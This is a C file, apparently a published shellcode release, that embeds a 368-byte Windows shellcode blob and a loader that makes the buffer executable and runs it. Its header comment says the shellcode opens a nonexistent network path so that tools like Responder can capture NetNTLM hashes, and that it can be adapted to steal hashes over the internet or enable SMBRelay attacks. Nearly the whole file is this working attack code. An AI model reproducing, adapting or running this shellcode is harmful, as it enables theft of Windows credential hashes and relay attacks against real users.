/*
    Title: CreateFile Shellcode
    Author: Osanda Malith Jayathissa (@OsandaMalith)
    Website: https://osandamalith.com
    Size: 368 Bytes
    Description: This shellcode uses CreateFile and tries to read a non existing 
    network path. You can use tools such as Responder to capture NetNTLM hashes.
    The shellcode can be modified to steal hashes over internet. SMBRelay attacks
    can also be perfomed.
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
 
int main() {

  char *shellcode = 
  "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02"
  "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
  "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05"
  "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10"
  "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0"
  "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8"
  "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a"
  "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff"
  "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe"
  "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b"
  "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89"
  "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40"
  "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff"
  "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
  "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b"
  "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc"
  "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff"
  "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
  "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f"
  "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7"
  "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf"
  "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32"
  "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05";
    
  DWORD oldProtect;
     
    wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode));
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
   
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    }
   
    ((void(*)(void))shellcode)();
  
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
   
    return EXIT_SUCCESS;
}